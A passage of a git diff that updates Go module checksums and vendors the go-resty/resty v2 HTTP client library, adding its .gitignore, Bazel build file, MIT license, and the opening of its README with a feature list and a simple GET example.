golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.20.0 h1:jmAMJJZXr5KiCw05dfYK9QnqaqKLYXijU23lsEdcQqg=
|
||||
golang.org/x/crypto v0.20.0/go.mod h1:Xwo95rrVNIoSMx9wa1JroENMToLWn3RNVrTBpLHgZPQ=
|
||||
golang.org/x/crypto v0.19.0/go.mod h1:Iy9bg/ha4yyC70EfRS8jz+B6ybOBKMaSxLj6P6oBDfU=
|
||||
golang.org/x/crypto v0.21.0 h1:X31++rzVUdKhX5sWmSOFZxx8UW/ldWx55cbf08iNAMA=
|
||||
golang.org/x/crypto v0.21.0/go.mod h1:0BP7YvVV9gBbVKyeTG0Gyn+gZm94bibOW5BjDEYAOMs=
|
||||
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
|
||||
golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
|
||||
golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8=
|
||||
@ -431,6 +439,8 @@ golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
golang.org/x/mod v0.4.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
golang.org/x/mod v0.4.1/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
|
||||
golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
|
||||
golang.org/x/mod v0.15.0 h1:SernR4v+D55NyBH2QiEQrlBAnj1ECL6AGrA5+dPaMY8=
|
||||
golang.org/x/mod v0.15.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
|
||||
golang.org/x/net v0.0.0-20180611182652-db08ff08e862/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
@ -471,8 +481,12 @@ golang.org/x/net v0.0.0-20201031054903-ff519b6c9102/go.mod h1:sp8m0HH+o8qH0wwXwY
|
||||
golang.org/x/net v0.0.0-20201209123823-ac852fbbde11/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
|
||||
golang.org/x/net v0.0.0-20201224014010-6772e930b67b/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
|
||||
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
|
||||
golang.org/x/net v0.21.0 h1:AQyQV4dYCvJ7vGmJyKki9+PBdyvhkSd8EIx/qb0AYv4=
|
||||
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
|
||||
golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
|
||||
golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg=
|
||||
golang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44=
|
||||
golang.org/x/net v0.22.0 h1:9sGLhx7iRIHEiX0oAJ3MRZMUCElJgy7Br1nO+AMN3Tc=
|
||||
golang.org/x/net v0.22.0/go.mod h1:JKghWKKOSdJwpW2GEx0Ja7fmaKnMsbu+MWVZTokSYmg=
|
||||
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
|
||||
golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
|
||||
golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
|
||||
@ -492,7 +506,10 @@ golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJ
|
||||
golang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.6.0 h1:5BMeUDZ7vkXGfEr1x9B4bRcTH4lpkTkpdh0T/J+qjbQ=
|
||||
golang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
|
||||
golang.org/x/sys v0.0.0-20180622082034-63fc586f45fe/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
@ -540,22 +557,35 @@ golang.org/x/sys v0.0.0-20210423185535-09eb48e85fd7/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.17.0 h1:25cE3gD+tdBA7lp7QfhuV+rJiE9YXTcS3VG1SqssI/Y=
|
||||
golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/sys v0.18.0 h1:DBdB3niSjOA/O0blCZBqDefyWNYveAYMNF1Wum0DYQ4=
|
||||
golang.org/x/sys v0.18.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
|
||||
golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
|
||||
golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo=
|
||||
golang.org/x/term v0.17.0/go.mod h1:lLRBjIVuehSbZlaOtGMbcMncT+aqLLLmKrsjNrUguwk=
|
||||
golang.org/x/term v0.18.0/go.mod h1:ILwASektA3OnRv7amZ1xhE/KTR+u50pbXfZ03+6Nx58=
|
||||
golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
|
||||
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
|
||||
golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
|
||||
golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
|
||||
golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ=
|
||||
golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
|
||||
golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/time v0.0.0-20190921001708-c4c64cad1fd0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/time v0.5.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM=
|
||||
golang.org/x/tools v0.0.0-20180828015842-6cd1fcedba52/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
@ -605,6 +635,8 @@ golang.org/x/tools v0.0.0-20201208233053-a543418bbed2/go.mod h1:emZCQorbCU4vsT4f
|
||||
golang.org/x/tools v0.0.0-20210105154028-b0ab187a4818/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
|
||||
golang.org/x/tools v0.0.0-20210108195828-e2f9c7f1fc8e/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
|
||||
golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0=
|
||||
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
|
||||
golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=
|
||||
golang.org/x/tools v0.18.0 h1:k8NLag8AGHnn+PHbl7g43CtqZAwG60vZkLqgyZgIHgQ=
|
||||
golang.org/x/tools v0.18.0/go.mod h1:GL7B4CwcLLeo59yx/9UWWuNOW1n3VZ4f5axWfML7Lcg=
|
||||
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
@ -726,6 +758,7 @@ gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
|
||||
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
honnef.co/go/tools v0.0.0-20180728063816-88497007e858/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
|
30
vendor/github.com/go-resty/resty/v2/.gitignore
generated
vendored
Normal file
30
vendor/github.com/go-resty/resty/v2/.gitignore
generated
vendored
Normal file
@ -0,0 +1,30 @@
|
||||
# Compiled Object files, Static and Dynamic libs (Shared Objects)
|
||||
*.o
|
||||
*.a
|
||||
*.so
|
||||
|
||||
# Folders
|
||||
_obj
|
||||
_test
|
||||
|
||||
# Architecture specific extensions/prefixes
|
||||
*.[568vq]
|
||||
[568vq].out
|
||||
|
||||
*.cgo1.go
|
||||
*.cgo2.c
|
||||
_cgo_defun.c
|
||||
_cgo_gotypes.go
|
||||
_cgo_export.*
|
||||
|
||||
_testmain.go
|
||||
|
||||
*.exe
|
||||
*.test
|
||||
*.prof
|
||||
|
||||
coverage.out
|
||||
coverage.txt
|
||||
|
||||
# Exclude intellij IDE folders
|
||||
.idea/*
|
51
vendor/github.com/go-resty/resty/v2/BUILD.bazel
generated
vendored
Normal file
51
vendor/github.com/go-resty/resty/v2/BUILD.bazel
generated
vendored
Normal file
@ -0,0 +1,51 @@
|
||||
load("@io_bazel_rules_go//go:def.bzl", "go_library", "go_test")
|
||||
load("@bazel_gazelle//:def.bzl", "gazelle")
|
||||
|
||||
# gazelle:prefix github.com/go-resty/resty/v2
|
||||
# gazelle:go_naming_convention import_alias
|
||||
gazelle(name = "gazelle")
|
||||
|
||||
go_library(
|
||||
name = "resty",
|
||||
srcs = [
|
||||
"client.go",
|
||||
"digest.go",
|
||||
"middleware.go",
|
||||
"redirect.go",
|
||||
"request.go",
|
||||
"response.go",
|
||||
"resty.go",
|
||||
"retry.go",
|
||||
"trace.go",
|
||||
"transport_js.go",
|
||||
"transport_other.go",
|
||||
"transport.go",
|
||||
"transport112.go",
|
||||
"util.go",
|
||||
],
|
||||
importpath = "github.com/go-resty/resty/v2",
|
||||
visibility = ["//visibility:public"],
|
||||
deps = ["@org_golang_x_net//publicsuffix:go_default_library"],
|
||||
)
|
||||
|
||||
go_test(
|
||||
name = "resty_test",
|
||||
srcs = [
|
||||
"client_test.go",
|
||||
"context_test.go",
|
||||
"example_test.go",
|
||||
"request_test.go",
|
||||
"resty_test.go",
|
||||
"retry_test.go",
|
||||
"util_test.go",
|
||||
],
|
||||
data = glob([".testdata/*"]),
|
||||
embed = [":resty"],
|
||||
deps = ["@org_golang_x_net//proxy:go_default_library"],
|
||||
)
|
||||
|
||||
alias(
|
||||
name = "go_default_library",
|
||||
actual = ":resty",
|
||||
visibility = ["//visibility:public"],
|
||||
)
|
21
vendor/github.com/go-resty/resty/v2/LICENSE
generated
vendored
Normal file
21
vendor/github.com/go-resty/resty/v2/LICENSE
generated
vendored
Normal file
@ -0,0 +1,21 @@
|
||||
The MIT License (MIT)
|
||||
|
||||
Copyright (c) 2015-2023 Jeevanandam M., https://myjeeva.com <jeeva@myjeeva.com>
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
925
vendor/github.com/go-resty/resty/v2/README.md
generated
vendored
Normal file
925
vendor/github.com/go-resty/resty/v2/README.md
generated
vendored
Normal file
@ -0,0 +1,925 @@
|
||||
<p align="center">
|
||||
<h1 align="center">Resty</h1>
|
||||
<p align="center">Simple HTTP and REST client library for Go (inspired by Ruby rest-client)</p>
|
||||
<p align="center"><a href="#features">Features</a> section describes in detail about Resty capabilities</p>
|
||||
</p>
|
||||
<p align="center">
|
||||
<p align="center"><a href="https://github.com/go-resty/resty/actions/workflows/ci.yml?query=branch%3Amaster"><img src="https://github.com/go-resty/resty/actions/workflows/ci.yml/badge.svg" alt="Build Status"></a> <a href="https://codecov.io/gh/go-resty/resty/branch/master"><img src="https://codecov.io/gh/go-resty/resty/branch/master/graph/badge.svg" alt="Code Coverage"></a> <a href="https://goreportcard.com/report/go-resty/resty"><img src="https://goreportcard.com/badge/go-resty/resty" alt="Go Report Card"></a> <a href="https://github.com/go-resty/resty/releases/latest"><img src="https://img.shields.io/badge/version-2.12.0-blue.svg" alt="Release Version"></a> <a href="https://pkg.go.dev/github.com/go-resty/resty/v2"><img src="https://pkg.go.dev/badge/github.com/go-resty/resty" alt="GoDoc"></a> <a href="LICENSE"><img src="https://img.shields.io/github/license/go-resty/resty.svg" alt="License"></a> <a href="https://github.com/avelino/awesome-go"><img src="https://awesome.re/mentioned-badge.svg" alt="Mentioned in Awesome Go"></a></p>
|
||||
</p>
|
||||
<p align="center">
|
||||
<h4 align="center">Resty Communication Channels</h4>
|
||||
<p align="center"><a href="https://gitter.im/go_resty/community?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge"><img src="https://badges.gitter.im/go_resty/community.svg" alt="Chat on Gitter - Resty Community"></a> <a href="https://twitter.com/go_resty"><img src="https://img.shields.io/badge/twitter-@go__resty-55acee.svg" alt="Twitter @go_resty"></a></p>
|
||||
</p>
|
||||
|
||||
## News
|
||||
|
||||
* v2.12.0 [released](https://github.com/go-resty/resty/releases/tag/v2.12.0) and tagged on Mar 17, 2024.
|
||||
* v2.0.0 [released](https://github.com/go-resty/resty/releases/tag/v2.0.0) and tagged on Jul 16, 2019.
|
||||
* v1.12.0 [released](https://github.com/go-resty/resty/releases/tag/v1.12.0) and tagged on Feb 27, 2019.
|
||||
* v1.0 released and tagged on Sep 25, 2017. - Resty's first version was released on Sep 15, 2015 then it grew gradually as a very handy and helpful library. Its been a two years since first release. I'm very thankful to Resty users and its [contributors](https://github.com/go-resty/resty/graphs/contributors).
|
||||
|
||||
## Features
|
||||
|
||||
* GET, POST, PUT, DELETE, HEAD, PATCH, OPTIONS, etc.
|
||||
* Simple and chainable methods for settings and request
|
||||
* [Request](https://pkg.go.dev/github.com/go-resty/resty/v2#Request) Body can be `string`, `[]byte`, `struct`, `map`, `slice` and `io.Reader` too
|
||||
* Auto detects `Content-Type`
|
||||
* Buffer less processing for `io.Reader`
|
||||
* Native `*http.Request` instance may be accessed during middleware and request execution via `Request.RawRequest`
|
||||
* Request Body can be read multiple times via `Request.RawRequest.GetBody()`
|
||||
* [Response](https://pkg.go.dev/github.com/go-resty/resty/v2#Response) object gives you more possibility
|
||||
* Access as `[]byte` array - `response.Body()` OR Access as `string` - `response.String()`
|
||||
* Know your `response.Time()` and when we `response.ReceivedAt()`
|
||||
* Automatic marshal and unmarshal for `JSON` and `XML` content type
|
||||
* Default is `JSON`, if you supply `struct/map` without header `Content-Type`
|
||||
* For auto-unmarshal, refer to -
|
||||
- Success scenario [Request.SetResult()](https://pkg.go.dev/github.com/go-resty/resty/v2#Request.SetResult) and [Response.Result()](https://pkg.go.dev/github.com/go-resty/resty/v2#Response.Result).
|
||||
- Error scenario [Request.SetError()](https://pkg.go.dev/github.com/go-resty/resty/v2#Request.SetError) and [Response.Error()](https://pkg.go.dev/github.com/go-resty/resty/v2#Response.Error).
|
||||
- Supports [RFC7807](https://tools.ietf.org/html/rfc7807) - `application/problem+json` & `application/problem+xml`
|
||||
* Resty provides an option to override [JSON Marshal/Unmarshal and XML Marshal/Unmarshal](#override-json--xml-marshalunmarshal)
|
||||
* Easy to upload one or more file(s) via `multipart/form-data`
|
||||
* Auto detects file content type
|
||||
* Request URL [Path Params (aka URI Params)](https://pkg.go.dev/github.com/go-resty/resty/v2#Request.SetPathParams)
|
||||
* Backoff Retry Mechanism with retry condition function [reference](retry_test.go)
|
||||
* Resty client HTTP & REST [Request](https://pkg.go.dev/github.com/go-resty/resty/v2#Client.OnBeforeRequest) and [Response](https://pkg.go.dev/github.com/go-resty/resty/v2#Client.OnAfterResponse) middlewares
|
||||
* `Request.SetContext` supported
|
||||
* Authorization option of `BasicAuth` and `Bearer` token
|
||||
* Set request `ContentLength` value for all request or particular request
|
||||
* Custom [Root Certificates](https://pkg.go.dev/github.com/go-resty/resty/v2#Client.SetRootCertificate) and Client [Certificates](https://pkg.go.dev/github.com/go-resty/resty/v2#Client.SetCertificates)
|
||||
* Download/Save HTTP response directly into File, like `curl -o` flag. See [SetOutputDirectory](https://pkg.go.dev/github.com/go-resty/resty/v2#Client.SetOutputDirectory) & [SetOutput](https://pkg.go.dev/github.com/go-resty/resty/v2#Request.SetOutput).
|
||||
* Cookies for your request and CookieJar support
|
||||
* SRV Record based request instead of Host URL
|
||||
* Client settings like `Timeout`, `RedirectPolicy`, `Proxy`, `TLSClientConfig`, `Transport`, etc.
|
||||
* Optionally allows GET request with payload, see [SetAllowGetMethodPayload](https://pkg.go.dev/github.com/go-resty/resty/v2#Client.SetAllowGetMethodPayload)
|
||||
* Supports registering external JSON library into resty, see [how to use](https://github.com/go-resty/resty/issues/76#issuecomment-314015250)
|
||||
* Exposes Response reader without reading response (no auto-unmarshaling) if need be, see [how to use](https://github.com/go-resty/resty/issues/87#issuecomment-322100604)
|
||||
* Option to specify expected `Content-Type` when response `Content-Type` header missing. Refer to [#92](https://github.com/go-resty/resty/issues/92)
|
||||
* Resty design
|
||||
* Have client level settings & options and also override at Request level if you want to
|
||||
* Request and Response middleware
|
||||
* Create Multiple clients if you want to `resty.New()`
|
||||
* Supports `http.RoundTripper` implementation, see [SetTransport](https://pkg.go.dev/github.com/go-resty/resty/v2#Client.SetTransport)
|
||||
* goroutine concurrent safe
|
||||
* Resty Client trace, see [Client.EnableTrace](https://pkg.go.dev/github.com/go-resty/resty/v2#Client.EnableTrace) and [Request.EnableTrace](https://pkg.go.dev/github.com/go-resty/resty/v2#Request.EnableTrace)
|
||||
* Since v2.4.0, trace info contains a `RequestAttempt` value, and the `Request` object contains an `Attempt` attribute
|
||||
* Debug mode - clean and informative logging presentation
|
||||
* Gzip - Go does it automatically also resty has fallback handling too
|
||||
* Works fine with `HTTP/2` and `HTTP/1.1`
|
||||
* [Bazel support](#bazel-support)
|
||||
* Easily mock Resty for testing, [for e.g.](#mocking-http-requests-using-httpmock-library)
|
||||
* Well tested client library
|
||||
|
||||
### Included Batteries
|
||||
|
||||
* Redirect Policies - see [how to use](#redirect-policy)
|
||||
* NoRedirectPolicy
|
||||
* FlexibleRedirectPolicy
|
||||
* DomainCheckRedirectPolicy
|
||||
* etc. [more info](redirect.go)
|
||||
* Retry Mechanism [how to use](#retries)
|
||||
* Backoff Retry
|
||||
* Conditional Retry
|
||||
* Since v2.6.0, Retry Hooks - [Client](https://pkg.go.dev/github.com/go-resty/resty/v2#Client.AddRetryHook), [Request](https://pkg.go.dev/github.com/go-resty/resty/v2#Request.AddRetryHook)
|
||||
* SRV Record based request instead of Host URL [how to use](resty_test.go#L1412)
|
||||
* etc (upcoming - throw your idea's [here](https://github.com/go-resty/resty/issues)).
|
||||
|
||||
|
||||
#### Supported Go Versions
|
||||
|
||||
Recommended to use `go1.16` and above.
|
||||
|
||||
Initially Resty started supporting `go modules` since `v1.10.0` release.
|
||||
|
||||
Starting Resty v2 and higher versions, it fully embraces [go modules](https://github.com/golang/go/wiki/Modules) package release. It requires a Go version capable of understanding `/vN` suffixed imports:
|
||||
|
||||
- 1.9.7+
|
||||
- 1.10.3+
|
||||
- 1.11+
|
||||
|
||||
|
||||
## It might be beneficial for your project :smile:
|
||||
|
||||
Resty author also published following projects for Go Community.
|
||||
|
||||
* [aah framework](https://aahframework.org) - A secure, flexible, rapid Go web framework.
|
||||
* [THUMBAI](https://thumbai.app) - Go Mod Repository, Go Vanity Service and Simple Proxy Server.
|
||||
* [go-model](https://github.com/jeevatkm/go-model) - Robust & Easy to use model mapper and utility methods for Go `struct`.
|
||||
|
||||
|
||||
## Installation
|
||||
|
||||
```bash
|
||||
# Go Modules
|
||||
require github.com/go-resty/resty/v2 v2.11.0
|
||||
```
|
||||
|
||||
## Usage
|
||||
|
||||
The following samples will assist you to become as comfortable as possible with resty library.
|
||||
|
||||
```go
|
||||
// Import resty into your code and refer it as `resty`.
|
||||
import "github.com/go-resty/resty/v2"
|
||||
```
|
||||
|
||||
#### Simple GET
|
||||
|
||||
```go
|
||||
// Create a Resty Client
|
||||
client := resty.New()
|
||||
|
||||
resp, err := client.R().
|
||||
EnableTrace().
|
||||
Get("https://httpbin.org/get")
|
||||
|
||||
// Explore response object
|
||||
fmt.Println("Response Info:")
|
||||
fmt.Println(" Error :", err)
|
||||
fmt.Println(" Status Code:", resp.StatusCode())
|
||||
fmt.Println(" Status :", resp.Status())
|
||||
fmt.Println(" Proto :", resp.Proto())
|
||||
fmt.Println(" Time :", resp.Time())
|
||||
fmt.Println(" Received At:", resp.ReceivedAt())
|
||||
fmt.Println(" Body :\n", resp)
|
||||
fmt.Println()
|
||||
|
||||
// Explore trace info
|
||||
fmt.Println("Request Trace Info:")
|
||||
ti := resp.Request.TraceInfo()
|
||||
fmt.Println(" DNSLookup :", ti.DNSLookup)
|
||||
fmt.Println(" ConnTime :", ti.ConnTime)
|
||||
fmt.Println(" TCPConnTime :", ti.TCPConnTime)
|
||||
fmt.Println(" TLSHandshake :", ti.TLSHandshake)
|
||||
fmt.Println(" ServerTime :", ti.ServerTime)
|
||||
fmt.Println(" ResponseTime :", ti.ResponseTime)
|
||||
fmt.Println(" TotalTime :", ti.TotalTime)
|
||||
fmt.Println(" IsConnReused :", ti.IsConnReused)
|
||||
fmt.Println(" IsConnWasIdle :", ti.IsConnWasIdle)
|
||||
fmt.Println(" ConnIdleTime :", ti.ConnIdleTime)
|
||||
fmt.Println(" RequestAttempt:", ti.RequestAttempt)
|
||||
fmt.Println(" RemoteAddr :", ti.RemoteAddr.String())
|
||||
|
||||
/* Output
|
||||
Response Info:
|
||||
Error : <nil>
|
||||
Status Code: 200
|
||||
Status : 200 OK
|
||||
Proto : HTTP/2.0
|
||||
